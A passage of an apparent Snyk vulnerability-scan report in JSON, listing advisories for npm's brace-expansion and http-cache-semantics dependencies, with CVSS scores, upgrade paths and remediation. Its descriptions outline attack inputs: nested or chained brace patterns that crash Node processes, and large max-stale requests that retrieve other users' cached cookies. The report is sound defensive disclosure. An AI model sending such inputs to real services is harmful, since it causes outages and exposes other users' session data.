"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964064",
"title": "Origin Validation Error",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.2,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/57",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.2,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n",
"epssDetails": {
"percentile": "0.35961",
"probability": "0.00445",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93750"
],
"CWE": [
"CWE-346"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:38:34.112334Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:47Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:38:34.322549Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T16:08:12.818370Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964068",
"title": "Improper Authorization",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/56",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n",
"epssDetails": {
"percentile": "0.45545",
"probability": "0.00569",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93748"
],
"CWE": [
"CWE-285"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:43:34.353521Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:53Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:43:34.521384Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T15:58:47.938684Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964064",
"title": "Origin Validation Error",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.2,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/57",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"cvssSources": [
{
"type": "primary",
